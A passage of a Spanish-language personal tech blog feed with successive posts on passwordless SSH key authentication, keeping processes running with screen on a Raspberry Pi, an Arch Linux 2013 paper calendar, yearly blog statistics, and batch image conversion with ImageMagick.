Todo esto se puede solucionar usando una clave privada y otra pública SSH con las que no necesitaremos proporcionar ninguna contraseña ya que será la clave privada la que nos autenticará. No necesitaremos proporcionar ninguna contraseña siempre y cuando no protejamos la clave privada mendiante una contraseña para poder usarla.<br />
<br />
El par de claves SSH se generan con, se pueden utilizar otros algoritmos como RSA y DSA aunque ECDSA es el recomendado por OpenSSH por ofrecer la misma seguridad con un menor tamaño en bits para las claves. Sin embargo, en el ejemplo usaré RSA por el <a href="https://bugzilla.gnome.org/show_bug.cgi?id=641082">siguiente bug de GNOME</a>:
<br />
<br />
<script src="https://gist.github.com/4510310.js?file=ssh-keygen-1.sh"></script>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8IeLPCeBG5vjKNExlJ0dxoG4y5EwvTILIl-I-KFwqU4sPDHUKlOTVhDkeqAOCnU0uc-yY3OIF_DYBdNH3ywIIGVbZQi8RdVIz2hx86UzLgJbVqt5URBUcAq0AL1NWlOu52l8H_5aON83p/s1600/ssh-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="168" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8IeLPCeBG5vjKNExlJ0dxoG4y5EwvTILIl-I-KFwqU4sPDHUKlOTVhDkeqAOCnU0uc-yY3OIF_DYBdNH3ywIIGVbZQi8RdVIz2hx86UzLgJbVqt5URBUcAq0AL1NWlOu52l8H_5aON83p/s320/ssh-1.png" width="320" /></a></div>
<br />
Al final del proceso veremos la huella digital de la clave, si en algún otro momento deseasemos ver la huella alfanumérica o visual podríamos hacerlo con:<br />
<br />
<script src="https://gist.github.com/4510310.js?file=ssh-keygen-2.sh"></script>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhY1DE9xzShUEYS3vm1b63guyA3ebpHbv1d97cKCyz1zgL1c020_Y5lBUrdvoy3ycUYGInf8SNRkBmFyydos_Ur3nZhmAQBP8I6vKpam6VaN66K_5NGIlujwAXYoa_uyKVop-NHs9A8v1zC/s1600/ssh-5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="181" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhY1DE9xzShUEYS3vm1b63guyA3ebpHbv1d97cKCyz1zgL1c020_Y5lBUrdvoy3ycUYGInf8SNRkBmFyydos_Ur3nZhmAQBP8I6vKpam6VaN66K_5NGIlujwAXYoa_uyKVop-NHs9A8v1zC/s320/ssh-5.png" width="320" /></a></div>
Una vez que disponemos del par de claves deberemos subir la clave pública a la máquina que posteriormente nos conectaremos identificandonos con la clave privada. Lo hacemos con:<br />
<br />
<script src="https://gist.github.com/4510310.js?file=ssh-copy-id.sh"></script>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhM-eVmodCKs0BgoTuKG0nrxIX1bYbqniWCj-WYW32grP89aViqDMsx221PoFAB9U18OC4kG7sMkWGYgExTL4rK7ELjVc-22Qo6yso6dSqPgO5Esqb-Trz4xkWlStMBw-fnekuKGt2pQ_A5/s1600/ssh-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="168" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhM-eVmodCKs0BgoTuKG0nrxIX1bYbqniWCj-WYW32grP89aViqDMsx221PoFAB9U18OC4kG7sMkWGYgExTL4rK7ELjVc-22Qo6yso6dSqPgO5Esqb-Trz4xkWlStMBw-fnekuKGt2pQ_A5/s320/ssh-2.png" width="320" /></a></div>
Esta clave pública quedará como autorizada para la máquina y usuario indicados y será añadida al archivo ~/.ssh/authorized_keys en la máquina destino. Si posteriormente quisieramos desautorizar alguna clave solo deberemos borrar la linea de la clave de ese archivo. Posteriormente deberemos indicar en la máquina origen las identidades que queremos que proporcione el comando SSH cuando nos conectemos a alguna máquina con:<br />
<br />
<script src="https://gist.github.com/4510310.js?file=ssh-add.sh"></script>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQOfkCaJkZ6pmccFaZgBny3PNS-NALNxSZTMy3loDMLIN3MmYoh8GVZ-sadfk3pfpYmQ7cxEm8sB5XOyda6JhXf97Di0-LV6ZiZNefJ9-OJi7lCk8wkQBx8OwnrveJhs6l0Yr3UNpsYnLY/s1600/ssh-3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="168" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQOfkCaJkZ6pmccFaZgBny3PNS-NALNxSZTMy3loDMLIN3MmYoh8GVZ-sadfk3pfpYmQ7cxEm8sB5XOyda6JhXf97Di0-LV6ZiZNefJ9-OJi7lCk8wkQBx8OwnrveJhs6l0Yr3UNpsYnLY/s320/ssh-3.png" width="320" /></a></div>
Si no hemos protegido la clave privada con ninguna clave la identidad quedará añadida con el comando SSH posterior, si hemos protegido la clave privada deberemos introducir la contraseña para poder añadir la identidad.<br />
<br />
Finalmente, nos conectaremos a la máquina con el comando SSH y accederemos a la máquina destino sin tener que proporcionar ninguna clave:<br />
<br />
<script src="https://gist.github.com/4510310.js?file=ssh-2.sh"></script>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9kJ2wX0f_YAbVP0JFP7xVkBOJwvumMzVykl68tqzvNENsQ-6icasV_a1Hz8YT007Jnrkg0NSJrsM350aDOUTVGJnihwYfurZKgN0hIU-wEgc7nRrascatqr061p4hTSVXw07PdTELWkuh/s1600/ssh-4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="168" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9kJ2wX0f_YAbVP0JFP7xVkBOJwvumMzVykl68tqzvNENsQ-6icasV_a1Hz8YT007Jnrkg0NSJrsM350aDOUTVGJnihwYfurZKgN0hIU-wEgc7nRrascatqr061p4hTSVXw07PdTELWkuh/s320/ssh-4.png" width="320" /></a></div>
Referencia:<br />
<a href="https://wiki.archlinux.org/index.php/Secure_Shell#Client">https://wiki.archlinux.org/index.php/Secure_Shell#Client</a><br />
<a href="https://wiki.archlinux.org/index.php/SSH_Keys">https://wiki.archlinux.org/index.php/SSH_Keys</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/06/guia-instalacion-raspberry-pi-con-arch.html">Guía instalación Raspberry Pi con Arch Linux ARM (Parte I, instalación base)</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/06/guia-instalacion-raspberry-pi-con-arch_22.html">Guía instalación Raspberry Pi con Arch Linux ARM (Parte II, programas)</a>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-36142137644347557952013-01-04T20:22:00.000+01:002013-01-11T13:47:44.393+01:00Dejar procesos vivos de conexión SSH con screen<div imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="OpenSSH" border="0" height="105" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6ZFZKXyntUVvujrK8caEdcnQ9Y_tsDJ51D9nXGBgGoeR-kH5uh9o6Opir8s_77nGYWibcvNDT02_CkzQXTHreGwW86JHMpMrcOz6w3q7HUkAKkZ2xcUlRajLuwyc_dmzvCYQ9NFwv82mk/s320/openssh.gif" title="OpenSSH" width="320" /></div>
<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="GNU/Linux" border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUXTTg4unfa8rpwm6CDanTO-ud7ZCo3wNxxEs72D1sXa0p4QksTAGqGWHPnovIJcV0xIcsZwr7KkVBB-yIZ8HenZhrH9b4PosjvTeWScyOI-Xtln9Gn1bay6f1DRAocb7YddFhJlhfGmpB/s200/tux.png" title="GNU/Linux" width="169" /></div>
El software libre y Linux es sorprendente, a veces nos surge una necesidad que no sabemos como resolver pero en el mundo del software es muy probable que el mismo problema se lo haya encontrado otra persona antes así que lo primero es buscar en internet, foros y ver cuales son las respuestas que obtiene esa persona que pregunta con el mismo o un problema parecido al nuestro para ver si alguien ha dado con la solución. Dependiendo del problema quizá descubramos un programa específico para resolver el problema.<br />
<br />
Este es el caso que me ha surgido recientemente con la <a href="http://www.raspberrypi.org/">Raspberry Pi</a>. Lo explico, a la RPi me conecto por SSH y dado que si se cierra esa conexión SSH se terminan todos los procesos lanzados en esa conexión SSH tengo que tener encendido el ordenador y la conexión SSH abierta hasta que termine de hacer lo que estaba haciendo. En la mayoría de los casos esto no es un problema pero para dejar la RPi reproduciendo música con <a href="http://cmus.sourceforge.net/">cmus</a> sí lo es ya que si se cierra la conexión SSH se termina el reproductor y se deja de escuchar la música, con lo que no puedo apagar el ordenador y dejar únicamente la RPi encendida que para reproducir música es mucho mejor que un ordenador porque no hay ruido de ventiladores y discos girando y la música se escucha más limpia sin ruidos adicionales por muy bajos que sean.<br />
<br />
<a href="http://www.gnu.org/software/screen/">Screen</a>, es una herramienta que nos resolverá ese problema además de proporcionarnos alguna funcionalidad adicional interesante. Con esta herramienta podemos dejar una terminal viva y sus procesos ejecutándose aunque se cierre la conexión SSH. Su uso es conectarnos mediante SSH de forma normal, ejecutar:
<br />
<br />
<script src="https://gist.github.com/4454876.js?file=screen.sh"></script>
...que lanzará una segunda terminal en la sesión SSH y cuando queramos dejar la terminal de screen viva ejecutar CTRL+A y a continuación CTRL+D y ya podremos cerrar la terminal SSH original con exit, la terminal de screen y los procesos se seguirán ejecutando. Otra característica de screen es que podemos reconectarnos más tarde a la terminal de screen que dajamos viva, para ello nos volvemos a conectar mediante SSH y ejecutamos:
<br />
<br />
<script src="https://gist.github.com/4454876.js?file=screen-r.sh"></script>
por si este fuera poco el volvernos a reconectar a la terminal de screen más tarde lo podemos hacer desde cualquier ordenador, no tiene por que ser el mismo ordenador desde el que iniciamos la terminal de screen, con lo que podemos iniciar los procesos en un ordenador, desplazarnos de sitio y continuar en otro. Lo que en algunos otros casos puede ser muy útil.<br />
<br />
El paquete para instalarlo en Arch Linux es <a href="https://www.archlinux.org/packages/extra/x86_64/screen/">screen</a> y lo hacemos con:
<br />
<br />
<script src="https://gist.github.com/4454876.js?file=pacman.sh"></script>
Referencia:<br />
<a href="http://raspi.tv/tag/how-to-detach-a-process-on-ssh-without-killing-it">http://raspi.tv/tag/how-to-detach-a-process-on-ssh-without-killing-it</a><br />
<a href="https://wiki.archlinux.org/index.php/GNU_Screen">https://wiki.archlinux.org/index.php/GNU_Screen</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/01/autenticacion-ssh-con-clave-privada-y.html">Autenticación SSH con clave privada y pública</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/06/guia-instalacion-raspberry-pi-con-arch.html">Guía instalación Raspberry Pi con Arch Linux ARM (Parte I, instalación base)</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/06/guia-instalacion-raspberry-pi-con-arch_22.html">Guía instalación Raspberry Pi con Arch Linux ARM (Parte II, programas)</a>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-91886982249948614782013-01-01T00:10:00.000+01:002013-01-09T12:44:24.945+01:00Calendario Arch Linux 2013<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="Arch Linux" border="0" height="66" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnyZnfwPYXYEweTKDpfoD3bZAthfNQ7ADNm3a0ZrxAjVf_v4pV-B4pt8rJ1t-6YPxCYjx-nn8wyq84oFdzfImYiFyYWd_YGBOOa1JM3qcfiwmjVAQzeMOpN-MOsF-7ofOo5xfsvAhoQ31G/s200/archlinux-official-dark.png" title="Arch Linux" width="200" /></div>
El año pasado realice el calendario tematizado de Arch Linux y este en un poco de tiempo lo he <a href="https://docs.google.com/open?id=0B4yquUFv3csral9EclZ5U29sMXc">modificado y adaptado al año 2013</a>. Se trata de un modelo que después de varias dobleces y partes que hay que pegar se convierte en un dodecaedro que podemos tener encima de la mesa además para consultarlo alguna vez para decorar. Si eres usuario de otra distribución que no sea Arch Linux puedes descargarte el archivo svg contenido en el archivo zip del enlace anterior y modificarlo para adaptar los colores y el logotipo ya uses Fedora, OpenSUSE, Ubuntu, Mint, Debian, ...<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5qiRbYzoL6jj1gK1Io5x4iMx15h7QUQ8LDhj2mHGqJ3JNmdZ0VdhnorrjtRWobFpmVA1Drrt0YnuC9iGnx8hlstoJ7OqRbTH1Q-QUjAhO4_vDKnyKvM4Bw5WgNt-C_kSmy37NSQDz1svy/s1600/arch+linux+calendar+(2013).png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5qiRbYzoL6jj1gK1Io5x4iMx15h7QUQ8LDhj2mHGqJ3JNmdZ0VdhnorrjtRWobFpmVA1Drrt0YnuC9iGnx8hlstoJ7OqRbTH1Q-QUjAhO4_vDKnyKvM4Bw5WgNt-C_kSmy37NSQDz1svy/s320/arch+linux+calendar+(2013).png" width="247" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Calendario Arch Linux 2013</td></tr>
</tbody></table>
<div style="text-align: center;">
<div style="text-align: left;">
El 2012 al final se me pasó y no lo construí ya que no dispongo de impresora, este 2013 espero poder imprimirlo en alguna fotocopistería y colocarlo junto a Tux y el <a href="http://elblogdepicodev.blogspot.com.es/2010/03/arch-linux-cheat-cube.html">cheat cube de Arch Linux</a>. A continuación está proceso de ensamblado del calendario calendario y el resultado final.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivHZyd13PXr1gB3quMEn1izZfWMPMLwYKTqm7zyLiWNT9neXBYSBQETFUx2r3kILCtgdbEnXhKqtsdHRH_0j2mSsTG4GCEXpbLvSGedHIb4Sj3bzfLdaeRGPVFHPxbw1vccJBf3uSVVQSq/s1600/arch-linux-calendar-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivHZyd13PXr1gB3quMEn1izZfWMPMLwYKTqm7zyLiWNT9neXBYSBQETFUx2r3kILCtgdbEnXhKqtsdHRH_0j2mSsTG4GCEXpbLvSGedHIb4Sj3bzfLdaeRGPVFHPxbw1vccJBf3uSVVQSq/s200/arch-linux-calendar-1.jpg" width="148" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixcexCpOfqO13Aa_CSQJO0rkhB9ssJfau1Ic9w2YWSwLQ2JlffchK14notUvoJ_XCDQBDewGUjYETi3BEG50Z9tqxjKpyZ4zXyXX8X2P-Vhaee4n6U_XsgUPBT9zCeCvDrFO6Te5wnF2V1/s1600/arch-linux-calendar-2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixcexCpOfqO13Aa_CSQJO0rkhB9ssJfau1Ic9w2YWSwLQ2JlffchK14notUvoJ_XCDQBDewGUjYETi3BEG50Z9tqxjKpyZ4zXyXX8X2P-Vhaee4n6U_XsgUPBT9zCeCvDrFO6Te5wnF2V1/s200/arch-linux-calendar-2.jpg" width="148" /></a><span style="text-align: left;"> </span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiaCWQPvKiKEMgwpBavsm9zeEA4T-rBxrZgfH2l-VwQmSbqJtVac-f2_jN1BRvEfQQxRuBfPUlFWbhKVic-5nChQAB2moKFjdWeZW1UdqsNNMnyZGhTvRVSqaLaIzDeAg8Wn63cFF2I4KD/s1600/arch-linux-calendar-3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiaCWQPvKiKEMgwpBavsm9zeEA4T-rBxrZgfH2l-VwQmSbqJtVac-f2_jN1BRvEfQQxRuBfPUlFWbhKVic-5nChQAB2moKFjdWeZW1UdqsNNMnyZGhTvRVSqaLaIzDeAg8Wn63cFF2I4KD/s200/arch-linux-calendar-3.jpg" width="148" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9F-Bq0qfw2C1GaGNzesjVy5BAj1W5oH_Eqv0HSQE-SdoR-Dw2M3r6mTmjl21d1whTjE7mjNaGMPHGDXakSBZxTeeezhgSdmjwKRYE7OjTuiUd1UXnEs3ZL3xw2vq6boXE4MgUh_RCDxL7/s1600/arch-linux-calendar-4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9F-Bq0qfw2C1GaGNzesjVy5BAj1W5oH_Eqv0HSQE-SdoR-Dw2M3r6mTmjl21d1whTjE7mjNaGMPHGDXakSBZxTeeezhgSdmjwKRYE7OjTuiUd1UXnEs3ZL3xw2vq6boXE4MgUh_RCDxL7/s200/arch-linux-calendar-4.jpg" width="148" /></a></div>
<br />
Además de este calendario también hace un poco de tiempo también adapté un cheat cube de Ubuntu a la distribución Arch Linux por si alguien le coge gusto a esto del papel, probablemente para un usuario avanzado no sea especialmente útil más bien tiene una funcionalidad decorativa.</div>
</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi95pLxj6Wks_o9Tm9tLhy_pHflBzgsbld6m1uaudLTEbn_kqtOuYCXyxoaZ0yHP47qrmh_viwGIVkidelKm69f7uKBxS8_SwtGLyXVomB3QcOyXSuJG-H86CeqffXLXWhKTN80cPxUAs7Z/s1600/arch-linux-calendar-5.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="161" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi95pLxj6Wks_o9Tm9tLhy_pHflBzgsbld6m1uaudLTEbn_kqtOuYCXyxoaZ0yHP47qrmh_viwGIVkidelKm69f7uKBxS8_SwtGLyXVomB3QcOyXSuJG-H86CeqffXLXWhKTN80cPxUAs7Z/s320/arch-linux-calendar-5.jpg" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">El cheat cube, el calendario y tux</td></tr>
</tbody></table>
<br />
¡Que empecéis bien el 2013!<br />
<br />
Referencia:<br />
<a href="https://docs.google.com/open?id=0B4yquUFv3csral9EclZ5U29sMXc">Calendario Arch Linux 2013</a>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-69666193285734399232012-12-24T12:32:00.000+01:002012-12-24T12:35:42.424+01:00El blog de pico.dev te desea un 2013...<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img border="0" height="45" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjptgi5QalEtBYcMnRHsBzuL1YUNSzxmhOJEw_8zIU9Fstoh9HwzqqnF-7lzrxgeCRf5YIAYXu_ehO64q8fWQctFnyc6g1MaeSWgYtjjOBlnbrIoCMMx-ROHqMs66fpHwClRUQvxuXnDSIr/s320/El+blog+de+picodev+%2528watermark%2529.png" width="320" /></div>
Otro año más que pasa para <a href="http://elblogdepicodev.blogspot.com.es/">El blog de pico.dev</a> y ya son casi tres años desde que empecé a escribir en él. Este año han sido 50 entradas las que he escrito un poco menos de una por semana, meta que me fijé como la adecuada para mi, que he ido haciendo con constancia y regularidad. Me gustaría poder dedicarle más tiempo al blog ya que ideas para entradas no me faltan a medida que voy curioseando sobre como se hacen o funcionan algunas cosas, ya tengo una buena cantidad de ellas acumuladas que durante el 2013 iré desarrollando. Aunque pueda parecer que no cada entrada requiere bastante tiempo de dedicación para aprender, investigar, programar algún ejemplo y luego escribir la entrada aunque luego se ve recompensado por los visitantes que las leéis, la satisfacción de escribir sobre lo que en cada momento más me interesa con total libertad y aunque pocos pero también con los comentarios de la gente que veo algunas cosas les han resultado útiles.<br />
<br />
Pasado otro año más toca hacer balance de los números de este blog. Si durante el 2011 fueron 34.271 visitas, 25.251 visitantes y 55.280 páginas vistas que ya me parecían muchas este 2012 a falta de unos días han sido 64.364 visitas de 52.075 visitantes con 86.432 páginas vistas, unos números que no son duplicar los del año anterior pero casi. Si a principios de año empezaba con entre 100 y 150 páginas vistas al día el año ha acabado con entre 250 y 400 páginas vistas diarias. También se nota en la publicidad AdSense que suele ser habitual ya tener unos ingresos de 3€ mensuales, a este ritmo el 2013 superaré los 70€ necesarios para que Google me recompense por la publicidad que ya veré de que manera se los devuelvo en parte a la comunidad ya sea pidiendo unas pegatinas con el logo de Arch Linux para el portátil si es así algunas puede que reparta por correo, una taza, o ...<br />
<br />
Estas son las entradas que he escrito durante la segunda mitad de este 2012 (en la <a href="http://elblogdepicodev.blogspot.com.es/search/label/hemeroteca">etiqueta hemeroteca</a> puedes ver las de otros semestres):<br />
<br />
<h3>
Hemeroteca #2</h3>
<b>Apache Tapestry</b><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/07/validaciones-de-datos-de-formularios.html">Validaciones de datos de formularios con Apache Tapestry</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/07/extender-las-validaciones-de-apache.html">Extender las validaciones de Apache Tapestry</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/11/como-devolver-un-archivo-con-apache.html">Como devolver un archivo con Apache Tapestry</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/11/como-enviar-un-archivo-con-apache.html">Como enviar un archivo con Apache Tapestry</a><br />
<br />
<b>Programación</b><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/07/pruebas-unitarias-con-spock-y-mockito.html">Pruebas unitarias con Spock y Mockito</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/07/obtener-informacion-del-entorno-de-una.html">Obtener información del entorno de una aplicación web en Java</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/08/jodatime-y-como-integrarlo-con-hibernate.html">JodaTime y como integrarlo con Hibernate</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/08/analisis-estatico-de-codigo-con-pmd.html">Análisis estático de código con PMD</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/08/paginas-pagecatalog-servicestatus-e.html">Páginas PageCatalog, ServiceStatus e HibernateStatistics de Tapestry</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/08/deshabilitar-el-parametro-jsessionid.html">Deshabilitar el parámetro jsessionid</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/10/crear-un-archivo-zip-con-java.html">Crear un archivo comprimido Zip con Java</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/11/como-crear-y-usar-sprites-en-paginas.html">Como crear y usar sprites en páginas HTML</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/12/color-en-la-terminal-con-jansi.html">Texto de la terminal en color con Jansi</a><br />
<br />
Una serie de artículos sobre BPM, Activiti y Drools<br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/09/conceptos-sobre-procesos-de-negocio-bp.html">Conceptos sobre procesos de negocio (BP, BPM, BPMS, ...)</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/09/procesos-de-negocio-con-activiti.html">Procesos de negocio con Activiti</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/10/usar-variables-en-un-proceso-de-negocio.html">Usar variables en un proceso de negocio con Activiti</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/10/tratamiento-de-errores-en-procesos-de.html">Tratamiento de errores en procesos de negocio con Activiti</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/10/reglas-de-negocio-con-drools-y-activiti.html">Reglas de negocio con Drools y Activiti</a><br />
<br />
<b>Linux</b><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/09/systemd-reemplazo-de-sysvinit.html">systemd, reemplazo de sysvinit</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/09/guia-para-aprender-usar-vim.html">Guía para aprender a usar Vim</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/11/convertir-imagenes-entre-formatos-y.html">Convertir imágenes entre formatos y cambiar tamaño con ImageMagick</a><br />
<br />
Las entradas sobre Linux han sido muy pocoas y es que Arch Linux me da tan pocos problemas y no tengo que reinstalar cada pocos meses que la verdad no encuentro mucho en lo que escribir, aún así espero poder actualizar las guías de instalación de Arch Linux que ya se han quedado en parte obsoletas. <br />
<br />
<b>Análisis de productos</b><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/08/desempaquetado-unboxing-de-amazon.html">Desempaquetado («unboxing») de Amazon Kindle Touch</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/12/mi-guia-para-eleccion-de-portatil-nuevo.html">Mi guía para elección de portátil nuevo</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/12/desempaquetado-sony-vaio-e-14p.html">Desempaquetado Sony Vaio E 14P (SVE14)</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/12/analisis-software-y-bios-sony-vaio-e-14p.html">Análisis software y BIOS de Sony Vaio E 14P</a><br />
<br />
Si no quieres perderte nada de lo que está por venir en este blog durante el año que viene no pierdas la oportunidad de suscribirte al feed con tu lector favorito.<br />
<br />
Ya no me queda más que ¡desearos un mejor y buen 2013!<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<img alt="¡elblogdepicodev te desea un próspero 2013!" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwLiVW3jg9P53Og0Hh5qTC93VUXmK2-5woAiiRMXwWvFegiWmq99ZUOlVhRsmV6v7mlH_b0x3NKKLaNMv1OQfxOOLSCeBycMDDPoNg_isaQhP5dR8y0hzgohjfu5JTcLZGCeac6A8Nlt-_/s400/christmas-tux-2012.png" title="¡elblogdepicodev te desea un próspero 2013!" width="550" /></div>
Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-84641667320029782212012-11-03T12:46:00.000+01:002012-11-04T12:09:03.704+01:00Convertir imágenes entre formatos y cambiar tamaño con ImageMagick<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="ImageMagick" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0-2BIDzWEqW0McZVDsv9weSI7TQ7EQGs_lrV3jqF6s8rJ_MczBYFaTP4pHX6caApFF6lJhmAM6BrC-D28MwyTPsrlq6MGmhs08JmvVwQXZ_JwFuDIbA-CWTDW53GRvtFmuvRX4BjOTHqF/s1600/imagemagick.png" title="ImageMagick" /></div>
Algunas personas que trabajan con muchas imágenes seguramente se han encontrado en la situación de querer convertir imágenes de un formato a otros o cambiarles de tamaño de forma masiva. Hacerlo de forma manual es un trabajo aburrido y repetitivo además de consumir mucho tiempo que será mayor o menor dependiendo de la cantidad de imágenes a tratar. En esta situación <a href="http://www.imagemagick.org/">ImageMagick</a> y unos pocos comandos en la terminal de Linux nos pueden ahorrar una buena cantidad de tiempo además de evitar posibles errores al hacer las cosas manualmente. Para convertir imágenes de un formato a otro podremos hacerlo con:<br />
<br />
<script src="https://gist.github.com/4007119.js?file=convert1.sh"></script>
Esto convierte todas las imágenes de extensión png del directorio actual a imágenes en formato jpg cambiándoles además a los nombres de los archivos la extensión de «.png» a «*.jpg». También podríamos cambiar el tamaño de las imagenes a una determinada anchura máxima o a una altura máxima de forma masiva con:<br />
<br />
<script src="https://gist.github.com/4007119.js?file=convert2.sh"></script>
<script src="https://gist.github.com/4007119.js?file=convert3.sh"></script>
El primer comando reescala la anchura de las imagenes a 400 píxeles y el segundo a 300 píxeles de altura en ambos casos manteniendo la proporción de las imágenes originales y en ambos casos sobrescribiendo la imagen original.<br />
También podemos hacer uso del comando específico para realizar escalados:<br />
<br />
<script src="https://gist.github.com/4007119.js?file=mogrify.sh"></script>
Para instalar ImageMagick en Arch Linux basta con instalar su correspondiente paquete después de lo cual dispondremos de los comandos convert y mogrify:<br />
<br />
<script src="https://gist.github.com/4007119.js?file=pacman.sh"></script>
Otra cosa que a veces es necesaria es <a href="http://elblogdepicodev.blogspot.com/2011/05/anadir-marcas-de-agua-con-imagemagick.html">añadir marcas de agua a las imágenes</a>, para esto ImageMagick también es muy útil y se puede automatizar posiblemente ahorrando mucho tiempo, evitando errores al hacerlo manualmente y hacerlo de forma exactamente igual para todas las imágenes.<br />
<br />
Referencia:<br />
<a href="http://www.imagemagick.org/script/convert.php">Documentación comando convert</a><br />
<a href="http://elblogdepicodev.blogspot.com/2011/05/anadir-marcas-de-agua-con-imagemagick.html">Añadir marcas de agua a imágenes con ImageMagick</a>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-15656870216888255732012-09-14T21:39:00.001+02:002012-09-16T12:38:21.859+02:00Guía para aprender a usar Vim<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
